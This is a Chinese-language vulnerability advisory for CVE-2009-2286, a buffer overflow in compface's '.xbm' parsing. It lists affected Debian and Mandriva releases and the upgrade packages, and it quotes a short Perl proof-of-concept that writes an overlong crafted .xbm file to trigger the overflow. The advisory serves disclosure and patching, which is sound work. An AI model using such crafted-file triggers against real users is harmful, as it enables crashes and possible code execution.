RootSSV:11937Compface '.xbm'文件缓冲区溢出漏洞
0.138 Low
EPSS
Percentile
95.7%
Bugraq ID: 35863
CVE ID：CVE-2009-2286
Compface是一款X-face格式转换的工具和库。
Compface处理’.xbm’文件存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序权限执行任意指令。
构建包含超长条目的’.xbm’文件，诱使用户解析，可导致任意代码执行。
MandrakeSoft Enterprise Server 5 x86_64
MandrakeSoft Enterprise Server 5
James Ashton compface 1.5.2
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 armel
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
厂商解决方案
用户可参考如下升级程序：
MandrakeSoft Enterprise Server 5 x86_64
Mandriva compface-1.5.2-5.1mdvmes5.x86_64.rpm
http://www.mandriva.com/en/download/
Mandriva lib64compface-devel-1.5.2-5.1mdvmes5.x86_64.rpm
http://www.mandriva.com/en/download/
Mandriva lib64compface1-1.5.2-5.1mdvmes5.x86_64.rpm
http://www.mandriva.com/en/download/
MandrakeSoft Enterprise Server 5
Mandriva compface-1.5.2-5.1mdvmes5.i586.rpm
http://www.mandriva.com/en/download/
Mandriva libcompface-devel-1.5.2-5.1mdvmes5.i586.rpm
http://www.mandriva.com/en/download/
Mandriva libcompface1-1.5.2-5.1mdvmes5.i586.rpm
http://www.mandriva.com/en/download/
#!/usr/bin/perl
#########################################################################
####VIVA#ISLAM##################################################ALLAH####
#########################################################################
# compface <= 1.5.2 bufer overflow p o c
# vuln only excist on debian and ubuntu? - packages.debian.org/compface -
# author: metalhoney ------- [email protected] -------
#########################################################################
open(ISLAM,">allah.xbm") or die;
print ISLAM "#define noname_width 48\n#define noname_height 48\n";
print ISLAM "static ";
print ISLAM "A"x184;
print ISLAM " char = {\n";
close(ISLAM) or die;
print "run now: compface allah.xbm\nmetalhoney signing off\nviva islam\n";
#########################################################################
####VIVA#ISLAM##################################################ALLAH####
#########################################################################
Related
